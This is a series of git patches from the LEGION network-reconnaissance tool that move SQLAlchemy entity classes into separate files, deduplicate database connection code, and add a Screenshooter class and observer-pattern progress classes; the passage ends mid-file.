a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index 99e56932..e380fcfb 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -77,8 +77,8 @@ def test_storeProcess_WhenProvidedAProcess_StoreProcess(self): self.mockDbAdapter.commit.assert_called_once() def test_storeProcessOutput_WhenProvidedExistingProcessIdAndOutput_StoresProcessOutput(self): - from db.database import process_output from db.entities.process import process + from db.entities.processOutput import process_output expected_process: process = MagicMock() process.status = 'Running' @@ -293,8 +293,8 @@ def assertProcessStatusUpdatedTo(self, expected_status: str): self.mockDbAdapter.commit.assert_called_once() def whenProcessDoesNotFinishGracefully(self, process_status: str): - from db.database import process_output from db.entities.process import process + from db.entities.processOutput import process_output expected_process: process = MagicMock() expected_process.status = process_status From 3059e35b6e18619fd80e37b93ad219d7d6efa08f Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 25 Sep 2019 04:04:23 -0700 Subject: [PATCH 298/450] Refactor 'note' entity into its own file --- app/importers/NmapImporter.py | 3 +- db/database.py | 10 ------ db/entities/note.py | 32 ++++++++++++++++++++ db/repositories/NoteRepository.py | 4 ++- tests/db/repositories/test_NoteRepository.py | 2 +- 5 files changed, 38 insertions(+), 13 deletions(-) create mode 100644 db/entities/note.py diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 810f6c8c..9e8bf122 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -19,9 +19,10 @@ from PyQt5 import QtCore -from db.database import note, l1ScriptObj +from db.database import l1ScriptObj from db.entities.host import hostObj from db.entities.nmapSession import nmapSessionObj +from db.entities.note import note from db.entities.os import osObj from db.entities.port import portObj from db.entities.service import serviceObj diff --git a/db/database.py b/db/database.py index d9f740a0..8e0e4432 100644 --- a/db/database.py +++ b/db/database.py @@ -56,16 +56,6 @@ def __init__(self, scriptId, output, portId, hostId): self.portId = portId self.hostId = hostId -class note(Base): - __tablename__ = 'note' - hostId = Column(Integer, ForeignKey('hostObj.id')) - id = Column(Integer, primary_key = True) - text = Column(String) - - def __init__(self, hostId, text): - self.text = unicode(text) - self.hostId = hostId - class Database: def __init__(self, dbfilename): diff --git a/db/entities/note.py b/db/entities/note.py new file mode 100644 index 00000000..806b196f --- /dev/null +++ b/db/entities/note.py @@ -0,0 +1,32 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import Column, Integer, ForeignKey, String + +from db.database import Base +from six import u as unicode + + +class note(Base): + __tablename__ = 'note' + hostId = Column(Integer, ForeignKey('hostObj.id')) + id = Column(Integer, primary_key=True) + text = Column(String) + + def __init__(self, hostId, text): + self.text = unicode(text) + self.hostId = hostId diff --git a/db/repositories/NoteRepository.py b/db/repositories/NoteRepository.py index 26e66b7d..7e67ed08 100644 --- a/db/repositories/NoteRepository.py +++ b/db/repositories/NoteRepository.py @@ -15,9 +15,11 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from db.database import Database, note +from db.database import Database from six import u as unicode +from db.entities.note import note + class NoteRepository: def __init__(self, dbAdapter: Database, log): diff --git a/tests/db/repositories/test_NoteRepository.py b/tests/db/repositories/test_NoteRepository.py index c34b93bd..c5400079 100644 --- a/tests/db/repositories/test_NoteRepository.py +++ b/tests/db/repositories/test_NoteRepository.py @@ -25,7 +25,7 @@ class NoteRepositoryTest(unittest.TestCase): @patch('utilities.stenoLogging.get_logger') def setUp(self, get_logger) -> None: - from db.database import note + from db.entities.note import note self.mockDbAdapter = MagicMock() self.mockDbSession = MagicMock() self.someNote: note = MagicMock() From a0350dae45eac0e3f5ef29d21dffcb755c4ae39c Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 25 Sep 2019 04:09:02 -0700 Subject: [PATCH 299/450] Refactor 'l1script' and 'l2script' entities into its own file --- app/importers/NmapImporter.py | 2 +- db/database.py | 52 +++++++------------------------ db/entities/l1script.py | 36 +++++++++++++++++++++ db/entities/l2script.py | 36 +++++++++++++++++++++ db/repositories/PortRepository.py | 3 +- 5 files changed, 87 insertions(+), 42 deletions(-) create mode 100644 db/entities/l1script.py create mode 100644 db/entities/l2script.py diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 9e8bf122..ca858931 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -19,8 +19,8 @@ from PyQt5 import QtCore -from db.database import l1ScriptObj from db.entities.host import hostObj +from db.entities.l1script import l1ScriptObj from db.entities.nmapSession import nmapSessionObj from db.entities.note import note from db.entities.os import osObj diff --git a/db/database.py b/db/database.py index 8e0e4432..0901c672 100644 --- a/db/database.py +++ b/db/database.py @@ -11,6 +11,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' from utilities.stenoLogging import * + log = get_logger('legion', path="./log/legion-db.log", console=False) log.setLevel(logging.INFO) @@ -18,53 +19,23 @@ import time from random import randint -from sqlalchemy import Column, String, Integer, ForeignKey, create_engine +from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from sqlalchemy.orm.scoping import scoped_session from sqlalchemy.ext.declarative import declarative_base -from six import u as unicode - Base = declarative_base() -class l1ScriptObj(Base): - __tablename__ = 'l1ScriptObj' - scriptId = Column(String) - id = Column(Integer, primary_key = True) - output = Column(String) - portId = Column(String, ForeignKey('portObj.id')) - hostId = Column(String, ForeignKey('hostObj.id')) - - def __init__(self, scriptId, output, portId, hostId): - self.scriptId = scriptId - self.output = unicode(output) - self.portId = portId - self.hostId = hostId - -class l2ScriptObj(Base): - __tablename__ = 'l2ScriptObj' - scriptId = Column(String) - id = Column(Integer, primary_key = True) - output = Column(String) - portId = Column(String, ForeignKey('portObj.id')) - hostId = Column(String, ForeignKey('hostObj.id')) - - def __init__(self, scriptId, output, portId, hostId): - self.scriptId = scriptId - self.output = unicode(output) - self.portId = portId - self.hostId = hostId - - class Database: def __init__(self, dbfilename): try: self.name = dbfilename - self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) #, poolclass=SingletonThreadPool) + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + self.engine = create_engine( + 'sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) # , poolclass=SingletonThreadPool) self.session = scoped_session(sessionmaker()) - self.session.configure(bind = self.engine, autoflush=False) + self.session.configure(bind=self.engine, autoflush=False) self.metadata = Base.metadata self.metadata.create_all(self.engine) self.metadata.echo = True @@ -76,10 +47,11 @@ def __init__(self, dbfilename): def openDB(self, dbfilename): try: self.name = dbfilename - self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) #, poolclass=SingletonThreadPool) + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + self.engine = create_engine( + 'sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) # , poolclass=SingletonThreadPool) self.session = scoped_session(sessionmaker()) - self.session.configure(bind = self.engine, autoflush=False) + self.session.configure(bind=self.engine, autoflush=False) self.metadata = Base.metadata self.metadata.create_all(self.engine) self.metadata.echo = True @@ -92,7 +64,7 @@ def commit(self): log.info("DB lock acquired") try: session = self.session() - rnd = float(randint(1,99)) / 100.00 + rnd = float(randint(1, 99)) / 100.00 log.info("Waiting {0}s before commit...".format(str(rnd))) time.sleep(rnd) session.commit() @@ -100,7 +72,7 @@ def commit(self): log.error("DB Commit issue") log.error(str(e)) try: - rnd = float(randint(1,99)) / 100.00 + rnd = float(randint(1, 99)) / 100.00 time.sleep(rnd) log.info("Waiting {0}s before commit...".format(str(rnd))) session.commit() diff --git a/db/entities/l1script.py b/db/entities/l1script.py new file mode 100644 index 00000000..81f00093 --- /dev/null +++ b/db/entities/l1script.py @@ -0,0 +1,36 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import Column, String, Integer, ForeignKey + +from db.database import Base +from six import u as unicode + + +class l1ScriptObj(Base): + __tablename__ = 'l1ScriptObj' + scriptId = Column(String) + id = Column(Integer, primary_key=True) + output = Column(String) + portId = Column(String, ForeignKey('portObj.id')) + hostId = Column(String, ForeignKey('hostObj.id')) + + def __init__(self, scriptId, output, portId, hostId): + self.scriptId = scriptId + self.output = unicode(output) + self.portId = portId + self.hostId = hostId diff --git a/db/entities/l2script.py b/db/entities/l2script.py new file mode 100644 index 00000000..e11004af --- /dev/null +++ b/db/entities/l2script.py @@ -0,0 +1,36 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from sqlalchemy import Column, Integer, String, ForeignKey + +from db.database import Base +from six import u as unicode + + +class l2ScriptObj(Base): + __tablename__ = 'l2ScriptObj' + scriptId = Column(String) + id = Column(Integer, primary_key=True) + output = Column(String) + portId = Column(String, ForeignKey('portObj.id')) + hostId = Column(String, ForeignKey('hostObj.id')) + + def __init__(self, scriptId, output, portId, hostId): + self.scriptId = scriptId + self.output = unicode(output) + self.portId = portId + self.hostId = hostId diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py index ce5315e2..ba19ebfe 100644 --- a/db/repositories/PortRepository.py +++ b/db/repositories/PortRepository.py @@ -15,7 +15,8 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ -from db.database import Database, l1ScriptObj +from db.database import Database +from db.entities.l1script import l1ScriptObj from db.entities.port import portObj from db.filters import applyPortFilters From bcc3a0074830922ff14976c341a55a13063c1933 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 25 Sep 2019 04:15:48 -0700 Subject: [PATCH 300/450] Remove 'l2script' entity since it is never used --- db/entities/l2script.py | 36 ------------------------------------ 1 file changed, 36 deletions(-) delete mode 100644 db/entities/l2script.py diff --git a/db/entities/l2script.py b/db/entities/l2script.py deleted file mode 100644 index e11004af..00000000 --- a/db/entities/l2script.py +++ /dev/null @@ -1,36 +0,0 @@ -""" -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard - - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public - License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later - version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied - warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more - details. - - You should have received a copy of the GNU General Public License along with this program. - If not, see . - -Author(s): Dmitriy Dubson (d.dubson@gmail.com) -""" -from sqlalchemy import Column, Integer, String, ForeignKey - -from db.database import Base -from six import u as unicode - - -class l2ScriptObj(Base): - __tablename__ = 'l2ScriptObj' - scriptId = Column(String) - id = Column(Integer, primary_key=True) - output = Column(String) - portId = Column(String, ForeignKey('portObj.id')) - hostId = Column(String, ForeignKey('hostObj.id')) - - def __init__(self, scriptId, output, portId, hostId): - self.scriptId = scriptId - self.output = unicode(output) - self.portId = portId - self.hostId = hostId From 52e777b7f6d2b1a77ec60f9237c4df552a2f267a Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 25 Sep 2019 04:26:47 -0700 Subject: [PATCH 301/450] Refactor Database to reduce code duplication --- db/database.py | 52 ++++++++++++++++++-------------------- db/entities/nmapSession.py | 17 +++++++++++++ db/entities/process.py | 17 +++++++++++++ 3 files changed, 59 insertions(+), 27 deletions(-) diff --git a/db/database.py b/db/database.py index 0901c672..efb86aba 100644 --- a/db/database.py +++ b/db/database.py @@ -1,15 +1,19 @@ -#!/usr/bin/env python - -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + You should have received a copy of the GNU General Public License along with this program. + If not, see . - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' +""" from utilities.stenoLogging import * log = get_logger('legion', path="./log/legion-db.log", console=False) @@ -30,35 +34,29 @@ class Database: def __init__(self, dbfilename): try: - self.name = dbfilename - self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine( - 'sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) # , poolclass=SingletonThreadPool) - self.session = scoped_session(sessionmaker()) - self.session.configure(bind=self.engine, autoflush=False) - self.metadata = Base.metadata - self.metadata.create_all(self.engine) - self.metadata.echo = True - self.metadata.bind = self.engine + self.establishSqliteConnection(dbfilename) except Exception as e: log.info('Could not create database. Please try again.') log.info(e) def openDB(self, dbfilename): try: - self.name = dbfilename - self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine( - 'sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) # , poolclass=SingletonThreadPool) - self.session = scoped_session(sessionmaker()) - self.session.configure(bind=self.engine, autoflush=False) - self.metadata = Base.metadata - self.metadata.create_all(self.engine) - self.metadata.echo = True - self.metadata.bind = self.engine + self.establishSqliteConnection(dbfilename) except: log.info('Could not open database file. Is the file corrupted?') + def establishSqliteConnection(self, dbFileName: str): + self.name = dbFileName + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + self.engine = create_engine( + 'sqlite:///{dbFileName}'.format(dbFileName=dbFileName)) + self.session = scoped_session(sessionmaker()) + self.session.configure(bind=self.engine, autoflush=False) + self.metadata = Base.metadata + self.metadata.create_all(self.engine) + self.metadata.echo = True + self.metadata.bind = self.engine + def commit(self): self.dbsemaphore.acquire() log.info("DB lock acquired") diff --git a/db/entities/nmapSession.py b/db/entities/nmapSession.py index 3f67665b..d2574160 100644 --- a/db/entities/nmapSession.py +++ b/db/entities/nmapSession.py @@ -1,3 +1,20 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" from sqlalchemy import String, Column from db.database import Base diff --git a/db/entities/process.py b/db/entities/process.py index 6a92219c..519a8a6e 100644 --- a/db/entities/process.py +++ b/db/entities/process.py @@ -1,3 +1,20 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" from sqlalchemy import Column, String, Integer from sqlalchemy.orm import relationship From e26728de313b0a25b148087d49bea76dcc188d9f Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 29 Sep 2019 10:01:08 -0400 Subject: [PATCH 302/450] Add more non-code file types to .codeclimate.yml --- .codeclimate.yml | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/.codeclimate.yml b/.codeclimate.yml index f1350bb7..3478800f 100644 --- a/.codeclimate.yml +++ b/.codeclimate.yml @@ -12,4 +12,9 @@ exclude_patterns: - "docker/" - "log/" - "tmp/" - - "images/" \ No newline at end of file + - "images/" + - "**/__init__.py" + - "**/*.conf" + - "**/*.sh" + - "**/*.qss" + - "**/*.txt" \ No newline at end of file From 0954181a88158d28b74a7b4949e19d0d79be1843 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 29 Sep 2019 10:11:57 -0400 Subject: [PATCH 303/450] Additional refactorings and clean up - Move Screenshooter class into its own file - Create the concept of an observable and an observer in the app module. To be able to decouple the core business logic from the presentation (i.e. PyQt5 currently), the use of observables and observers (ala Observer pattern) eliminates coupling between the UI and the core business logic. Implemented a simple progress widget observer that receives progress update observable events from the app module. - `app/auxiliary.py`: Extract `isHttps` into its own file (`app/http/isHttps.py`), for HTTPS protocol validation - `app/auxiliary.py`: Extract 'validatePath' and 'validateFile' into `isDirectory` and `isFile` to Shell interface - `app/auxiliary.py`: Extract `sanitise` function into `db/validation.py` - sanitise is only meant for SQL validation and belongs in the db module - `app/auxiliary.py`: Remove `validateCredentials` function - it was only returning true always, and there is no need for functions that do nothing at all - Optimize `AppSettings.py` settings lookup functions - reduce duplication --- app/Screenshooter.py | 81 +++++ app/actions/AbstractObservable.py | 31 ++ app/actions/AbstractObserver.py | 22 ++ .../AbstractUpdateProgressObservable.py | 34 +++ .../AbstractUpdateProgressObserver.py | 34 +++ .../UpdateProgressObservable.py | 32 ++ app/auxiliary.py | 287 ++++++------------ app/http/__init__.py | 0 app/http/isHttps.py | 41 +++ app/importers/NmapImporter.py | 64 ++-- app/importers/PythonImporter.py | 3 +- app/logic.py | 4 +- app/settings.py | 114 +++---- app/shell/DefaultShell.py | 6 + app/shell/Shell.py | 8 + controller/controller.py | 15 +- db/filters.py | 2 +- db/validation.py | 23 ++ legion.py | 39 ++- tests/app/actions/__init__.py | 0 tests/app/actions/updateProgress/__init__.py | 0 .../test_UpdateProgressObservable.py | 66 ++++ tests/app/http/__init__.py | 0 tests/app/http/test_isHttps.py | 31 ++ tests/app/shell/__init__.py | 0 tests/app/shell/test_DefaultShell.py | 41 +++ tests/app/test_logic.py | 10 +- tests/db/test_validation.py | 28 ++ tests/ui/observers/__init__.py | 0 .../test_QtUpdateProgressObserver.py | 41 +++ tests/ui/test_eventfilter.py | 2 +- ui/observers/QtUpdateProgressObserver.py | 34 +++ ui/settingsDialog.py | 9 +- ui/view.py | 8 +- 34 files changed, 789 insertions(+), 321 deletions(-) create mode 100644 app/Screenshooter.py create mode 100644 app/actions/AbstractObservable.py create mode 100644 app/actions/AbstractObserver.py create mode 100644 app/actions/updateProgress/AbstractUpdateProgressObservable.py create mode 100644 app/actions/updateProgress/AbstractUpdateProgressObserver.py create mode 100644 app/actions/updateProgress/UpdateProgressObservable.py create mode 100644 app/http/__init__.py create mode 100644 app/http/isHttps.py create mode 100644 db/validation.py create mode 100644 tests/app/actions/__init__.py create mode 100644 tests/app/actions/updateProgress/__init__.py create mode 100644 tests/app/actions/updateProgress/test_UpdateProgressObservable.py create mode 100644 tests/app/http/__init__.py create mode 100644 tests/app/http/test_isHttps.py create mode 100644 tests/app/shell/__init__.py create mode 100644 tests/app/shell/test_DefaultShell.py create mode 100644 tests/db/test_validation.py create mode 100644 tests/ui/observers/__init__.py create mode 100644 tests/ui/observers/test_QtUpdateProgressObserver.py create mode 100644 ui/observers/QtUpdateProgressObserver.py diff --git a/app/Screenshooter.py b/app/Screenshooter.py new file mode 100644 index 00000000..28ebe61d --- /dev/null +++ b/app/Screenshooter.py @@ -0,0 +1,81 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" +import subprocess + +from PyQt5 import QtCore + +from app.auxiliary import getTimestamp +from app.http.isHttps import isHttps + + +class Screenshooter(QtCore.QThread): + done = QtCore.pyqtSignal(str, str, str, name="done") # signal sent after each individual screenshot is taken + log = QtCore.pyqtSignal(str, name="log") + + def __init__(self, timeout): + QtCore.QThread.__init__(self, parent=None) + self.urls = [] + self.processing = False + self.timeout = timeout # screenshooter timeout (ms) + + def tsLog(self, msg): + self.log.emit(str(msg)) + + def addToQueue(self, url): + self.urls.append(url) + + # this function should be called when the project is saved/saved as as the tool-output folder changes + def updateOutputFolder(self, screenshotsFolder): + self.outputfolder = screenshotsFolder + + def run(self): + + while self.processing == True: + self.sleep(1) # effectively a semaphore + + self.processing = True + + for i in range(0, len(self.urls)): + try: + url = self.urls.pop(0) + outputfile = getTimestamp() + '-screenshot-' + url.replace(':', '-') + '.png' + ip = url.split(':')[0] + port = url.split(':')[1] + + if isHttps(ip, port): + self.save("https://" + url, ip, port, outputfile) + else: + self.save("http://" + url, ip, port, outputfile) + + except Exception as e: + self.tsLog('Unable to take the screenshot. Moving on..') + self.tsLog(e) + continue + + self.processing = False + + if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over unless we are in pause mode + self.run() + + self.tsLog('Finished.') + + def save(self, url, ip, port, outputfile): + self.tsLog('Saving screenshot as: ' + str(outputfile)) + command = 'xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/" --max-wait=5000 --out="{outputfolder}/{outputfile}"'.format( + url=url, outputfolder=self.outputfolder, outputfile=outputfile) + p = subprocess.Popen(command, shell=True) + p.wait() # wait for command to finish + self.done.emit(ip, port, outputfile) # send a signal to add the 'process' to the DB diff --git a/app/actions/AbstractObservable.py b/app/actions/AbstractObservable.py new file mode 100644 index 00000000..f9919306 --- /dev/null +++ b/app/actions/AbstractObservable.py @@ -0,0 +1,31 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from abc import ABC +from typing import List + +from app.actions.AbstractObserver import AbstractObserver + + +class AbstractObservable(ABC): + _observers: List[AbstractObserver] = [] + + def attach(self, observer): + self._observers.append(observer) + + def detach(self, observer): + self._observers.remove(observer) diff --git a/app/actions/AbstractObserver.py b/app/actions/AbstractObserver.py new file mode 100644 index 00000000..bbc04713 --- /dev/null +++ b/app/actions/AbstractObserver.py @@ -0,0 +1,22 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from abc import ABC + + +class AbstractObserver(ABC): + pass diff --git a/app/actions/updateProgress/AbstractUpdateProgressObservable.py b/app/actions/updateProgress/AbstractUpdateProgressObservable.py new file mode 100644 index 00000000..e38d084b --- /dev/null +++ b/app/actions/updateProgress/AbstractUpdateProgressObservable.py @@ -0,0 +1,34 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from abc import abstractmethod + +from app.actions.AbstractObservable import AbstractObservable + + +class AbstractUpdateProgressObservable(AbstractObservable): + @abstractmethod + def updateProgress(self, progress): + pass + + @abstractmethod + def start(self): + pass + + @abstractmethod + def finished(self): + pass diff --git a/app/actions/updateProgress/AbstractUpdateProgressObserver.py b/app/actions/updateProgress/AbstractUpdateProgressObserver.py new file mode 100644 index 00000000..aa66ecee --- /dev/null +++ b/app/actions/updateProgress/AbstractUpdateProgressObserver.py @@ -0,0 +1,34 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from abc import abstractmethod + +from app.actions.AbstractObserver import AbstractObserver + + +class AbstractUpdateProgressObserver(AbstractObserver): + @abstractmethod + def onProgressUpdate(self, progress) -> None: + pass + + @abstractmethod + def onStart(self) -> None: + pass + + @abstractmethod + def onFinished(self) -> None: + pass diff --git a/app/actions/updateProgress/UpdateProgressObservable.py b/app/actions/updateProgress/UpdateProgressObservable.py new file mode 100644 index 00000000..06ba6bb4 --- /dev/null +++ b/app/actions/updateProgress/UpdateProgressObservable.py @@ -0,0 +1,32 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from app.actions.updateProgress.AbstractUpdateProgressObservable import AbstractUpdateProgressObservable + + +class UpdateProgressObservable(AbstractUpdateProgressObservable): + def finished(self): + for observer in self._observers: + observer.onFinished() + + def start(self): + for observer in self._observers: + observer.onStart() + + def updateProgress(self, progress): + for observer in self._observers: + observer.onProgressUpdate(progress) diff --git a/app/auxiliary.py b/app/auxiliary.py index 46ae3b7e..6648ea0c 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -1,47 +1,54 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" -import os, sys, urllib, socket, locale, webbrowser, re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex -from urllib import request +import os, sys, socket, locale, webbrowser, \ + re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex from PyQt5 import QtCore, QtWidgets -from PyQt5.QtCore import * # for QProcess +from PyQt5.QtCore import * # for QProcess from PyQt5.QtWidgets import * -import errno # temporary for isHttpd -import subprocess # for screenshots with cutycapt -import string # for input validation +import subprocess # for screenshots with cutycapt +import string # for input validation from six import u as unicode -import ssl import asyncio, aioredis, aiohttp from datetime import datetime import hashlib, json from apscheduler.schedulers.asyncio import AsyncIOScheduler + +from app.http.isHttps import isHttps from utilities.stenoLogging import * from functools import wraps from time import time import io -log = get_logger('legion', path="./log/legion.log", console = False) +log = get_logger('legion', path="./log/legion.log", 